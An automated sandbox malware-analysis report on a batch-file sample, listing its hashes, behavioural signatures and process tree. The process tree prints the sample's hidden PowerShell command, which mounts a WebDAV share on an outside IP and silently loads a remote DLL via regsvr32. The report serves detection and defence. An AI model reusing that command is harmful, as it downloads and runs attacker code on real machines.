Analysis
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max time kernel
148s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
23/07/2024, 20:36
Static task
static1
Behavioral task
behavioral1
Sample
140613633074418795.bat
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
140613633074418795.bat
Resource
win10v2004-20240709-en
General
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Target
140613633074418795.bat
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Size
6KB
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MD5
8d380b6450331e3764d24d67e47bd7c3
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SHA1
a36c714d2eb776e69907b9ce16abddffb48f7e29
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SHA256
6dcbf5f9734faf22fdabd53e8346c7bd16c688ff1193c16c6de353a8bea56f4a
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SHA512
a031df9f79bb652ea6e5be1eed6e9e56a8ba149194d86d04d784f4abe1d4693f42609fa3a0fa2f0113c50fb4ac48302f1e9887ba218f655949eac49b427ec4f3
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SSDEEP
192:yxn8/hAkLNpmbfdyR+++JR+++R+uVF/2wf:yxnRkhpmDdyR+++JR+++R+uVh2wf
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 3500 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Runs net.exe
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Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3500 powershell.exe 3500 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3500 powershell.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 612 wordpad.exe 612 wordpad.exe 612 wordpad.exe 612 wordpad.exe 612 wordpad.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3380 wrote to memory of 612 3380 cmd.exe 85 PID 3380 wrote to memory of 612 3380 cmd.exe 85 PID 3380 wrote to memory of 3500 3380 cmd.exe 87 PID 3380 wrote to memory of 3500 3380 cmd.exe 87 PID 3500 wrote to memory of 1292 3500 powershell.exe 89 PID 3500 wrote to memory of 1292 3500 powershell.exe 89 PID 3500 wrote to memory of 4192 3500 powershell.exe 90 PID 3500 wrote to memory of 4192 3500 powershell.exe 90
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\140613633074418795.bat"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Program Files\Windows NT\Accessories\wordpad.exe"C:\Program Files\Windows NT\Accessories\wordpad.exe"2⤵
- Suspicious use of SetWindowsHookEx
PID:612
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\2889238204240.dll2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3500 -
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\3⤵PID:1292
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C:\Windows\system32\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\2889238204240.dll3⤵PID:4192
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:3736
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82